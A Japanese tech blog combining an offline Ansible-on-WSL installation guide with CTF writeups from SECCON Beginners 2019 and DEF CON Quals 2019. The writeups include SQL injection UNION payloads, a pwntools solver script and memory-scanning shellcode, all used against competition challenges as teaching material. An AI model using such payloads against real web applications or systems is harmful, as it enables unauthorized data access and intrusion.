TSALVIA技術メモ

CTFのWriteupや気になったツールについて書いていきます。また、このサイトはGoogle Analyticsを利用しています。

オフラインのWindows10環境にAnsibleを導入する方法

はじめに

2019年7月4日、5日に開催されたHardening II SUという大会に参加してきました。

wasforum.jp

大会の中で、オフライン環境のWindiws10にAnsibleをインストールしなければならない機会がありました。 AnsibleをWindows10環境で動作させるためには、大まかに以下の3つの手順が必要です。

  • Linux環境(WSL)の準備
  • ansibleのインストール
  • pywinrmのインストール(Windowsも制御対象の場合のみ)

オフライン環境に導入するためには、少し面倒くさい手順が必要です。 大会当日に準備できなかった人が多かったみたいだったので、導入手順を紹介します。

検証環境

事前準備

オンライン環境で事前にパッケージをダウンロードしておく必要があります。 Ansibleやpywinrmは、依存しているパッケージがたくさんあり、準備だけでもかなり面倒くさいです。

1. WSL用のDebianディストリビューションパッケージのダウンロード

  • 以下のコマンドでダウンロードする
    PS1> Invoke-WebRequest -Uri https://aka.ms/wsl-debian-gnulinux -OutFile DeianGNULinux.Appx -UseBasicParsing
    
  • もしくは、以下のリンク先にある Debian GNU/Linux からダウンロードする。 docs.microsoft.com

2. Ansibleに必要なパッケージのダウンロード

2-1. 依存パッケージをすべてダウンロードするためのスクリプトを用意する

Ubuntu 16.04: 依存パッケージを含めたdebパッケージをダウンロードする - Narrow Escape を参考にしました。

  1. apt-rdepends(依存パッケージを表示するツール)をインストールする。
    $ sudo apt-get install apt-rdepends
    
  2. 依存パッケージをすべてダウンロードするためのスクリプト(download_deb_package.sh)を用意する。
    #!/bin/sh
    
    if [ $# -ne 1 ]; then
      prog=`basename ${0}`
      echo "usage: ${prog} <package>"
      exit 1
    fi
    
    TMP=`mktemp -t a.sh.XXXXXX`
    trap "rm $TMP* 2>/dev/null" 0
    
    check_virtual_package()
    {
      apt show $1 2> /dev/null | grep "not a real package" > /dev/null
      return $?
    }
    
    get_provide_package()
    {
      apt install -s $1 > ${TMP} 2> /dev/null
    
      local state=0
      local pkgs=""
      while read line; do
        if [ "${line}x" = "Package $1 is a virtual package provided by:x" ]; then
          state=1
        elif [ ${state} -eq 1 -a -n "${line}" ]; then
          pkg=`echo ${line} | awk '{ print $1 }'`
          echo ${pkg} | grep -v ':i386' > /dev/null && pkgs="${pkg} ${pkgs}"
        fi
      done < ${TMP}
    
      echo "${pkgs}"
    }
    
    get_depend_package()
    {
      local pkgs=""
      local pkg=""
    
      for pkg in `apt-rdepends $1 2> /dev/null | grep -v "^  "`; do
        check_virtual_package ${pkg}
        if [ $? -eq 0 ]; then
          pkg=`get_provide_package ${pkg}`
        fi
        pkgs="${pkgs} ${pkg}"
      done
    
      echo "${pkgs}"
    }
    
    download_deb_package()
    {
      local pkgs=""
      pkgs=`get_depend_package $1`
      apt download ${pkgs}
    }
    
    download_deb_package $1
    
  3. 上記のスクリプトに実行権限を付与する。
    $ chmod +x ./download_deb_package
    

2-2. ansibleに必要なパッケージをダウンロードする
debパッケージ)

  • ansible(必須)
    $ mkdir ansible_deb_packages
    $ cd ansible_deb_packages
    $ sudo ../download_deb_package ansible
    
  • python-pip(AnsibleでWindowsも制御したい場合のみ)
    $ mkdir python-pip_deb_packages
    $ cd python-pip_deb_packages
    $ sudo ../download_deb_package python-pip
    
  • gcc(AnsibleでWindowsも制御したい場合のみ)
    $ mkdir gcc_deb_packages
    $ cd gcc_deb_packages
    $ sudo ../download_deb_package gcc
    
  • python2.7-dev(AnsibleでWindowsも制御したい場合のみ)
    $ mkdir python2.7-dev_deb_packages
    $ cd python2.7-dev_deb_packages
    $ sudo ../download_deb_package python2.7-dev
    
  • libffi-dev(AnsibleでWindowsも制御したい場合のみ)
    $ mkdir libffi-dev_deb_packages
    $ cd libffi-dev_deb_packages
    $ sudo ../download_deb_package libffi-dev
    
  • libssl-dev(AnsibleでWindowsも制御したい場合のみ)
    $ mkdir libssl-dev_deb_packages
    $ cd libssl-dev_deb_packages
    $ sudo ../download_deb_package libssl-dev
    

2-3. ansibleに必要なパッケージをダウンロードする
(pipパッケージ)

  • setuptools(AnsibleでWindowsも制御したい場合のみ)
    $ mkdir setuptools_pip_packages
    $ cd setuptools_pip_packages
    $ pip download -d . --no-binary :all: setuptools
    
  • wheel(AnsibleでWindowsも制御したい場合のみ)
    $ mkdir wheel_pip_packages
    $ cd wheel_pip_packages
    $ pip download -d . --no-binary :all: wheel
    
  • pywinrm(AnsibleでWindowsも制御したい場合のみ)
    $ mkdir pywinrm_pip_packages
    $ cd pywinrm_pip_packages
    $ pip download -d . --no-binary :all: pywinrm
    

導入手順

1. WSLのインストール

1-1. WSL(Windows Subsystem for Linux)を有効にする

  1. 管理者モードでPowerShellを開き、以下のコマンドを入力する。
    PS> Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
    
  2. コンピュータを再起動する。

1-2. WSL用のDebianを起動する

  1. 事前に用意したDebianディストリビューションパッケージを持ってくる。
  2. PowerShellで以下のコマンドを実行し、Debianを起動する。
    PS> Rename-Item DebianGNULinux.Appx DebianGNULinux.zip
    PS> Expand-Archive DebianGNULinux.zip
    PS> .\DebianGNULinux\debian.exe
    
  3. ユーザ名とパスワードを設定する。

2. Ansibleのインストール

  1. 事前に用意したAnsible用のdebパッケージを持ってくる。
  2. debパッケージをすべてインストールする。
    $ cd ansible_deb_packages
    $ sudo dpkg -i --force-depends *.deb
    

3. python-pipのインストール
(AnsibleでWindowsも制御したい場合のみ)

3-1. python-pipをインストールする

  1. 事前に用意したpython-pip用のdebパッケージを持ってくる。
  2. debパッケージをすべてインストールする。
    $ cd python-pip_deb_packages
    $ sudo dpkg -i --force-depends *.deb
    

3-2. setuptoolsをアップデートする

  1. 事前に用意したsetuptoolsのpipパッケージを持ってくる。
  2. setuptoolsをアップデートする。
    $ sudo pip install --upgrade setuptools-41.0.1.zip
    
    ※ ちなみにアップデートしないと、以下のようなエラーが出てしまいます。
    Command "python setup.py egg_info" failed with error code 1 in /tmp/pip-3l_UOj-build/
    

4. winrmのインストール
(AnsibleでWindowsも制御したい場合のみ)

4-1. wheelをインストールする

  1. 事前に用意したwheelのpipパッケージを持ってくる。
  2. wheelをインストールする。
    $ pip install wheel-0.33.4.tar.gz
    

4-2. gccをインストールする

  1. 事前に用意したgccdebパッケージを持ってくる。
  2. debパッケージをすべてインストールする。
    $ cd gcc_deb_packages
    $ sudo dpkg -i --force-depends *.deb
    

4-3. python2.7-devをインストールする

  1. 事前に用意したpython2.7-devのdebパッケージを持ってくる。
  2. debパッケージをすべてインストールする。
    $ cd python2.7-dev_deb_packages
    $ sudo dpkg -i --force-depends *.deb
    

4-4. libffi-devをインストールする

  1. 事前に用意したlibffi-devのdebパッケージを持ってくる。
  2. debパッケージをすべてインストールする。
    $ cd libffi-dev_deb_packages
    $ sudo dpkg -i --force-depends *.deb
    

4-5. libssl-devをインストールする

  1. 事前に用意したlibssl-devのdebパッケージを持ってくる。
  2. debパッケージをすべてインストールする。
    $ cd libssl-dev_deb_packages
    $ sudo dpkg -i --force-depends *.deb
    

4-6. pywinrmをインストールする

  1. 事前に用意したpywinrmのpipパッケージを持ってくる。
  2. pipパッケージをすべてインストールする。
    $ cd pywinrm_pip_packages
    $ pip install --no-index --find-links . *
    

おわりに

今回は、オフラインのWindows10環境にAnsibleを導入する手順について紹介しました。 ここまでやって、やっとAnsibleを使用するためのスタートラインに立つことができます。

大会当日は、手動で導入作業していたため、Ansibleが使用できるようになるまでに約40分掛かってしまいました。 このようにオフライン環境に一から導入するには、結構時間がかかってしまいます。 Ansibleの用途にもよりますが、単純なものであれば、シンプルなシェルスクリプトなどで代用することも検討に入れたほうがいいと思います。

参考にしたサイト

SECCON Beginners CTF 2019 Writeup

SECCON Beginners CTF 2019 について

SECCON Beginners CTF 2019が開催されました。
2019月5月25日 午後3時~5月26日 午後3時(24時間)

https://score.beginners.seccon.jp/score.beginners.seccon.jp

今回は、4人のチームで参加しました。結果は、72位で1291点でした。 これまで参加してきたDEFCONやTSGなどと違って易しい問題が多かったです。

f:id:tsalvia:20190529023654p:plain

SECCON Beginners CTF 2019 Writeup
(7問)

私が実際に解いた7つの問題だけ紹介します。

[Web] Ramen

問題

ラーメン https://ramen.quals.beginners.seccon.jp

解答例

https://ramen.quals.beginners.seccon.jp にアクセスしてみると、ラーメン屋の店員紹介ページが表示されました。

f:id:tsalvia:20190529013634p:plain

名前の入力欄があるようです。 試しに「'」と入力してみると、PHPのエラーが表示されました。SQLインジェクションができそうです。

Fatal error: Uncaught Error: Call to a member function fetchAll() on boolean in /var/www/web/public/index.php:11 Stack trace: #0 {main} thrown in /var/www/web/public/index.php on line 11

いろいろ入力してみると、以下の入力でテーブル名一覧を取得することができました。

' UNION SELECT table_name, null FROM INFORMATION_SCHEMA.COLUMNS -- 

f:id:tsalvia:20190529012814p:plain
省略
f:id:tsalvia:20190529012833p:plain

flagというテーブルがあるようです。 以下のように入力してみると、フラグを取得することができました。

' UNION SELECT flag, null FROM flag -- 

f:id:tsalvia:20190529012657p:plain

FLAG

ctf4b{a_simple_sql_injection_with_union_select}

[Web] katsudon

問題

Rails 5.2.1で作られたサイトです。

https://katsudon.quals.beginners.seccon.jp

クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。

フラグは以下にあります。
https://katsudon.quals.beginners.seccon.jp/flag

# app/controllers/coupon_controller.rb
class CouponController < ApplicationController
def index
end

def show
  serial_code = params[:serial_code]
  @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)
  end
end

解答例

とりあえず、https://katsudon.quals.beginners.seccon.jp にアクセスしてみると、3つのシリアルコードが書かれていました。

f:id:tsalvia:20190529011100p:plain

BAhJIhByZWl3YWhhbnRlbgY6BkVU--bc5614afcef948624ebc137432c2dcdc624111b6
BAhJIhNoZWlzZWlzaG9rdWRvdQY6BkVU--f9aa81191fb073fb87bfa71b20c02bf3a30d1b10
BAhJIhRyZXN0YXVyYW50c2hvd2EGOgZFVA==--a78497e11151cffc45af945a1a243138b6084140

最後のシリアルコードだけ==という文字列があり、Base64エンコードされているように見えます。 それぞれデコードしてみると、以下の通りになり、店名が出てきました。

..I".reiwahanten.:.ET
..I".heiseishokudou.:.ET
..I".restaurantshowa.:.ET

次に https://katsudon.quals.beginners.seccon.jp/flag に確認すると、シリアルコードだけが書かれていました。

BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a

同様にBase64でデコードしてみると、フラグが出てきました。

..I"%ctf4b{K33P_Y0UR_53CR37_K3Y_B453}.:.ET

フラグ

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

[Reversing] Seccompare

問題

https://score.beginners.seccon.jp/files/seccompare_44d43f6a4d247e65c712d7379157d6a9.tar.gz

解答例

ダウンロードしてきたファイルにとりあえず、fileコマンドを実行しました。

$ file seccompare
seccompare: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4a607c82ea263205071c80295afe633412cda6f7, not stripped

ELFファイルだったので、Ghidraで開いてみました。 f:id:tsalvia:20190528233959p:plain

1文字ずつ値を代入し、strcmpで比較しているようです。 ltraceで関数呼び出しをトレース出力してみると、strcmp関数による比較処理で、フラグを確認することができました。

$ ltrace ./seccompare aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
strcmp("ctf4b{5tr1ngs_1s_n0t_en0ugh}", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...) = 2
puts("wrong"wrong
)                                                             = 6
+++ exited (status 0) +++

FLAG

ctf4b{5tr1ngs_1s_n0t_en0ugh}

[Crypto] So Tired

問題

最強の暗号を作りました。 暗号よくわからないけどきっと大丈夫!
File: so_tired.tar.gz

解答例

ダウンロードしてきたファイルにとりあえず、fileコマンドを実行しました。

$ file encrypted.txt
encrypted.txt: ASCII text, with very long lines, with no line terminators

普通のテキストファイルのようなので中身を確認してみました。 末尾のほうを見ると==となっていたので、Base64エンコードされているようです。

省略
OS79ZdkY3RZVE55QKbgtlPXoZ5vgL0L4ig5FFk07kYmt9oP4+xY8VKB7Iqh9I+5+K5v4B8HzgzA==

ここからは、CyberChefで作業しました。
まず、「From Base64」でデコードすると、zlibで圧縮されたデータが出てきました。

f:id:tsalvia:20190529001913p:plain

次に、「Zlib Inflate」で展開してみると、またBase64らしきデータが出てきました。

f:id:tsalvia:20190529002206p:plain

もう一度、「From Base64」でデコードすると、またzlibで圧縮されたデータが出てきました。

「From Base64」→「Zlib Inflate」を繰り返し展開していく問題のようです。 「Label」と「Conditional Jump」を使って、ctf4bという文字列が現れるまでループさせるとフラグを取得することができました。

f:id:tsalvia:20190529003012p:plain

FLAG

ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}

[Misc] Welcome

問題

SECCON Beginners CTFのIRCチャンネルで会いましょう。
IRC: freenode.net #seccon-beginners-ctf

解答例

IRC: freenode.net と書かれていたので、freenode.netで検索すると、IRCのサービスが出てきました。

Kiwi IRC

「Channels」に「#seccon-beginners-ctf」と入力して「Connect」を押すと、 SECCON Beginners CTF 2019の運営に質問するためのチャンネルに接続できました。

f:id:tsalvia:20190529004841p:plain

チャンネルの説明欄にフラグが書かれていました。

f:id:tsalvia:20190529005005p:plain

FLAG

ctf4b{welcome_to_seccon_beginners_ctf}

[Misc] containers

問題

Let's extract files from the container. https://score.beginners.seccon.jp/files/e35860e49ca3fa367e456207ebc9ff2f_containers

解答例

ダウンロードしてきたファイルにとりあえず、fileコマンドを実行しました。

$ file e35860e49ca3fa367e456207ebc9ff2f_containers
e35860e49ca3fa367e456207ebc9ff2f_containers: data

dataと表示され、よく分からないのでbinwalkコマンドを実行してみました。

$ binwalk e35860e49ca3fa367e456207ebc9ff2f_containers

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
16            0x10            PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
107           0x6B            Zlib compressed data, compressed
738           0x2E2           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
829           0x33D           Zlib compressed data, compressed
1334          0x536           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
1425          0x591           Zlib compressed data, compressed
1914          0x77A           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
2005          0x7D5           Zlib compressed data, compressed
2856          0xB28           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
2947          0xB83           Zlib compressed data, compressed
3666          0xE52           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
3757          0xEAD           Zlib compressed data, compressed
4354          0x1102          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
4445          0x115D          Zlib compressed data, compressed
5156          0x1424          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
5247          0x147F          Zlib compressed data, compressed
5846          0x16D6          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
5937          0x1731          Zlib compressed data, compressed
6722          0x1A42          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
6813          0x1A9D          Zlib compressed data, compressed
7757          0x1E4D          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
7848          0x1EA8          Zlib compressed data, compressed
8338          0x2092          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
8429          0x20ED          Zlib compressed data, compressed
9243          0x241B          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
9334          0x2476          Zlib compressed data, compressed
10319         0x284F          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
10410         0x28AA          Zlib compressed data, compressed
11042         0x2B22          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
11133         0x2B7D          Zlib compressed data, compressed
12118         0x2F56          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
12209         0x2FB1          Zlib compressed data, compressed
12809         0x3209          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
12900         0x3264          Zlib compressed data, compressed
13845         0x3615          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
13936         0x3670          Zlib compressed data, compressed
14592         0x3900          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
14683         0x395B          Zlib compressed data, compressed
15535         0x3CAF          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
15626         0x3D0A          Zlib compressed data, compressed
16440         0x4038          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
16531         0x4093          Zlib compressed data, compressed
17313         0x43A1          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
17404         0x43FC          Zlib compressed data, compressed
18218         0x472A          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
18309         0x4785          Zlib compressed data, compressed
19123         0x4AB3          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
19214         0x4B0E          Zlib compressed data, compressed
19926         0x4DD6          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
20017         0x4E31          Zlib compressed data, compressed
20869         0x5185          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
20960         0x51E0          Zlib compressed data, compressed
21742         0x54EE          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
21833         0x5549          Zlib compressed data, compressed
22465         0x57C1          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
22556         0x581C          Zlib compressed data, compressed
23408         0x5B70          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
23499         0x5BCB          Zlib compressed data, compressed
23989         0x5DB5          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
24080         0x5E10          Zlib compressed data, compressed
24810         0x60EA          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
24901         0x6145          Zlib compressed data, compressed
25753         0x6499          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
25844         0x64F4          Zlib compressed data, compressed
26788         0x68A4          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
26879         0x68FF          Zlib compressed data, compressed
27599         0x6BCF          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
27690         0x6C2A          Zlib compressed data, compressed
28504         0x6F58          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
28595         0x6FB3          Zlib compressed data, compressed
29085         0x719D          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
29176         0x71F8          Zlib compressed data, compressed
29808         0x7470          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
29899         0x74CB          Zlib compressed data, compressed
30844         0x787C          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
30935         0x78D7          Zlib compressed data, compressed
31524         0x7B24          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
31615         0x7B7F          Zlib compressed data, compressed

PNG形式のデータが複数混ざっているようです。 foremostコマンドで抽出してみます。

$ foremost e35860e49ca3fa367e456207ebc9ff2f_containers
Processing: e35860e49ca3fa367e456207ebc9ff2f_containers
|*|

抽出したファイルを確認すると、画像に文字が書かれており、フラグになっていました。

f:id:tsalvia:20190529004206p:plain

FLAG

ctf4b{e52df60c058746a66e4ac4f34db6fc81}

[Misc] Sliding puzzle

問題

nc 133.242.50.201 24912

スライドパズルを解いてください。すべてのパズルを解き終わったとき FLAG が表示されます。

スライドパズルは以下のように表示されます。 ----------------
| 0 | 2 | 3 |
| 6 | 7 | 1 |
| 8 | 4 | 5 |
----------------

0 はブランクで動かすことが可能です。操作方法は以下のとおりです。

0 : 上
1 : 右
2 : 下
3 : 左
最終的に以下の形になるように操作してください。

----------------
| 0 | 1 | 2 |
| 3 | 4 | 5 |
| 6 | 7 | 8 |
----------------

操作手順は以下の形式で送信してください。

1,3,2,0, ... ,2

解答例

netcatで 133.242.50.201:24912 に接続してみると、以下のように表示されました。

$ nc 133.242.50.201 24912
----------------
| 03 | 01 | 04 |
| 00 | 05 | 02 |
| 06 | 07 | 08 |
----------------

0,0,0,0,0,0
[-] Incorrect answer.

10秒でタイムアウトしてしまうようなので、プログラムを書いて解いていく問題のようです。 8パズルを解くプログラムを1から組むのは大変なので、検索していると幅優先探索で8パズルを解いているブログがありました。

py3.hateblo.jp

上記のブログのプログラムを参考に今回の問題を解いていきます。

# 8-puzzle.py
from collections import deque
from pwn import *

MOVE = {'U': (0, -1), 'D': (0, 1), 'L': (-1, 0), 'R': (1, 0)}  # (x,y)

def get_next(numbers):
    for d in 'UDLR':
        zero_index = numbers.index(0)
        tx, ty = zero_index % 3 + MOVE[d][0], zero_index // 3 + MOVE[d][1]
        if 0 <= tx < 3 and 0 <= ty < 3:
            target_index = ty * 3 + tx
            result = list(numbers)
            result[zero_index], result[target_index] = numbers[target_index], 0
            yield d, tuple(result)

def checkio(puzzle):
    queue = deque([(tuple(n for line in puzzle for n in line), '')])
    seen = set()
    while queue:
        numbers, route = queue.popleft()
        seen.add(numbers)
        # if numbers == (1, 2, 3, 4, 5, 6, 7, 8, 0):
        if numbers == (0, 1, 2, 3, 4, 5, 6, 7, 8):
            return route
        for direction, new_numbers in get_next(numbers):
            if new_numbers not in seen:
                queue.append((new_numbers, route + direction))

p = remote('133.242.50.201', 24912)

count = 1
while True:
    try:
        puzzle = []
        for _ in range(3):
            p.readuntil('| ')
            read_line = p.readline().strip().replace(' ', '').split('|')
            puzzle_row = [int(read_line[0]), int(read_line[1]), int(read_line[2])]
            puzzle.append(puzzle_row)

        answer_UDLR = checkio(puzzle)
        answer = answer_UDLR    \
            .replace('U', '0,') \
            .replace('D', '2,') \
            .replace('L', '3,') \
            .replace('R', '1,')[:-1]

        p.sendline(answer)

        print('-----' + str(count) + '-----')
        print(puzzle)
        print(answer)

        count += 1
    except EOFError:
        break

p.interactive()

上記のプログラムを実行してみると、100問解いた後にフラグが表示されました。

$ python 8-puzzle.py
[+] Opening connection to 133.242.50.201 on port 24912: Done
-----1-----
[[0, 2, 5], [1, 3, 8], [6, 4, 7]]
2,1,2,1,0,0,3,3
-----2-----
[[4, 3, 2], [6, 1, 8], [0, 5, 7]]
0,0,1,2,2,1,0,3,3,0
-----3-----
[[1, 2, 0], [3, 4, 5], [6, 7, 8]]
3,3
-----4-----
[[1, 2, 0], [3, 4, 5], [6, 7, 8]]
3,3
-----5-----
[[1, 2, 5], [3, 4, 0], [6, 7, 8]]
0,3,3

省略

-----96-----
[[1, 4, 2], [6, 3, 5], [0, 7, 8]]
0,1,0,3
-----97-----
[[1, 4, 2], [3, 0, 7], [6, 8, 5]]
1,2,3,0,0,3
-----98-----
[[3, 1, 2], [7, 6, 5], [0, 4, 8]]
0,1,2,3,0,0
-----99-----
[[3, 1, 2], [0, 7, 5], [4, 6, 8]]
2,1,0,3,0
-----100-----
[[1, 2, 0], [3, 4, 5], [6, 7, 8]]
3,3
[*] Switching to interactive mode
----------------

[+] Congratulations! ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
[*] Got EOF while reading in interactive

FLAG

ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}

DEF CON CTF Qualifier 2019 Writeup

DEF CON CTF Qualifier 2019 について

毎年恒例のDEF CON予選が開催されました。
2019年5月11日(土)午前9時~5月13日(月)午前9時まで(48時間)

www.oooverflow.io

私は3問しか解くことができませんでした。結果は、153位で310点でした。 ほとんどがPWN系の問題でかなり難しいといった印象でした。

f:id:tsalvia:20190514051219p:plain

DEF CON CTF Qualifier 2019 Writeup(3問)

[FIRST CONTACT] WELLCOME_TO_THE_GAME

問題

Welcome to the 2019 DEF CON CTF quals! Let's start it out with a free flag :)
If you can't submit it and get points there must be something very wrong, and we hope it's on your end :D

添付ファイル(flag)

OOO{Game on!}

解答例

flagファイルをcatコマンドで表示するだけ

$ cat flag
OOO{Game on!}

FLAG

OOO{Game on!}

[FIRST CONTACT] KNOW_YOUR_MEM

問題

Find the flag page in memory, 64-bit edition. Timeouts are strict, please test locally first! There's a simplified version to help with that.
know_your_mem.quals2019.oooverflow.io 4669

添付ファイル

解答例

とりあえず、README.mdやshellcode.cなどを参考にビルドしてみました。 私の環境だとgetrandomシステムコールがなかったので、少しソースコードを調整しました。 また、alarm関数があり、中断されるのでそこもコメントアウトしました。

know_your_mem.cとsimplified.cの修正箇所

// #include <sys/random.h>
  • 40行目のコメントを戻す
int fd = open("/dev/urandom", O_RDONLY); if (read(fd, &ret, sizeof(ret)) != sizeof(ret)) { err(47, "urandom"); } close(fd);
// if (getrandom(&ret, sizeof(ret), GRND_NONBLOCK) != sizeof(ret)) err(47, "getrandom");
// alarm(10);

必要なパッケージのインストール、権限設定を行います。

$ sudo apt install libseccomp-dev libseccomp2
$ git clone https://chromium.googlesource.com/linux-syscall-support
$ chmod +x topkt.py

README.mdにある通りに make check をすると以下の通りになります。

$ make check
./simplified
[ ] This challenge may be slightly easier in Linux 4.17+. Here, we're running on Linux 4.9.0-8-amd64 (x86_64)
Loading your simplified solution from ./simplified_shellcode.so
[ ] Putting the flag somewhere in memory...
Secret loaded (header + 107 bytes)
[H] The flag is at 0x1d8cfbca6000
[ ] Putting red herrings in memory...
[H] Red herring at 0x1c6adb0bc000
[H] Red herring at 0x1ede9e616000
[H] Red herring at 0x1492e76a5000
[H] Red herring at 0x1b9afff9d000
[H] Red herring at 0x15bea09ed000
[H] Red herring at 0x15bd1d2dc000
[H] Red herring at 0x1ec8383dd000
[H] Red herring at 0x1d90cf8cd000
[H] Red herring at 0x10e19c9bd000
[H] Red herring at 0x176bcd88d000
[H] Red herring at 0x165d121fb000
[H] Red herring at 0x1f26fc306000
[H] Red herring at 0x183b81dff000
[H] Red herring at 0x1e47eccb1000
[H] Red herring at 0x1afc15a34000
[H] Red herring at 0x15ad9b443000
[H] Red herring at 0x16e1dec4d000
[H] Red herring at 0x1e45e4bbd000
[H] Red herring at 0x149657cdf000
[H] Red herring at 0x19e7a56c9000
[H] Red herring at 0x1a6c4a3b5000
[H] Red herring at 0x1eb70b0c6000
[H] Red herring at 0x1aee559f9000
[H] Red herring at 0x1e334063d000
[H] Red herring at 0x189b2c68a000
[H] Red herring at 0x1bc581407000
[H] Red herring at 0x1b408858a000
[H] Red herring at 0x1a78fd20f000
[H] Red herring at 0x16db44b80000
[H] Red herring at 0x1f26e0d3f000
[*] seccomp filter now active!
Hi! Soon I'll be your shellcode!
[*] Your shellcode returned 0x123456
[!] Sorry, you didn't find the secret address.
Makefile:27: ターゲット 'check' のレシピで失敗しました
make: *** [check] エラー 1

flagが書き込まれたメモリ領域を引き当てることができれば、フラグを取得できそうだということが分かりました。 shellcodeを記述できるような環境も揃っているようなので、そちらを利用して検証してみます。

まずは、ヒントとして用意されているsimplified.cとsimplified_shellcode.so.cを使って問題を解いてみます。 simplified_shellcode.so.cを編集して以下のプログラムを書きました。

  1. メモリ領域(0x00001ffffffff000~0x0000100000000000)を1ページ(4096byte)ずつ探索する。
  2. 見つけた領域をmprotectシステムコールを使って、READ権限の付与を行う。
    • mprotectシステムコールは、確保されたメモリ領域でなければ、ENOMEMエラーを返す。 エラーが返ってこなければ、すでに確保された領域だと判定できる。
    • 今回は適当にREAD権限の付与を行った。
  3. 確保されたメモリ領域を見つけたら、printf関数で表示する。
  4. OOO」の文字列を見つけたら、探索を終了する。
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
#include <inttypes.h>
#include <string.h>

#define ADDR_MIN   0x0000100000000000UL
#define ADDR_MASK  0x00000ffffffff000UL

#define hint(x, ...) fprintf(stderr, "[H] " x, __VA_ARGS__)

void *shellcode()
{
        uintptr_t offset;
        void *addr = 0;

        printf("Hi! Soon I'll be your shellcode!\n");

        for (offset = 0xffffffff; offset >= 0; offset--) {
                addr = (void *)(((offset << 12) & ADDR_MASK) + ADDR_MIN);

                if (mprotect(addr, 4096, PROT_READ) != 0)
                        continue;

                hint("%p: Allocated Memory Found\n", addr);
                hint("%.100s\n", (char *)addr);
                if (strncmp(addr, "OOO", 3) == 0)
                        break;
        }
        return addr;
}

実行結果は、以下の通りになります。

$ ./simplified
[ ] This challenge may be slightly easier in Linux 4.17+. Here, we're running on Linux 4.9.0-8-amd64 (x86_64)
Loading your simplified solution from ./simplified_shellcode.so
[ ] Putting the flag somewhere in memory...
Secret loaded (header + 107 bytes)
[H] The flag is at 0x1d384bdf8000
[ ] Putting red herrings in memory...
[H] Red herring at 0x11c0a1626000
[H] Red herring at 0x15335a290000
[H] Red herring at 0x107d3964d000
[H] Red herring at 0x144355ee4000
[H] Red herring at 0x160aa56e7000
[H] Red herring at 0x175715a7c000
[H] Red herring at 0x1400c3e53000
[H] Red herring at 0x1f44346ca000
[H] Red herring at 0x195005f03000
[H] Red herring at 0x1ec52dce4000
[H] Red herring at 0x151ddf5cb000
[H] Red herring at 0x15aadcfbd000
[H] Red herring at 0x16f8cfca7000
[H] Red herring at 0x151605b97000
[H] Red herring at 0x13d2c86e9000
[H] Red herring at 0x10e899e43000
[H] Red herring at 0x10039b2ee000
[H] Red herring at 0x1d2e14bbf000
[H] Red herring at 0x1ce7b022d000
[H] Red herring at 0x184fd3ee9000
[H] Red herring at 0x1a27962ff000
[H] Red herring at 0x1ca467878000
[H] Red herring at 0x11118208c000
[H] Red herring at 0x185c01d03000
[H] Red herring at 0x1c5835743000
[H] Red herring at 0x114620a2e000
[H] Red herring at 0x10a01139a000
[H] Red herring at 0x12fae2514000
[H] Red herring at 0x120eba409000
[H] Red herring at 0x131e1400a000
[*] seccomp filter now active!
Hi! Soon I'll be your shellcode!
[H] 0x1f44346ca000: Allocated Memory Found
[H] Sorry, this is just a red herring page. Keep looking!
[H] 0x1ec52dce4000: Allocated Memory Found
[H] Sorry, this is just a red herring page. Keep looking!
[H] 0x1d384bdf8000: Allocated Memory Found
[H] OOO: You found it, congrats! The flag is: OOO{theflagwillbehere} Make sure you print it to stdout, s
[*] Your shellcode returned 0x1d384bdf8000
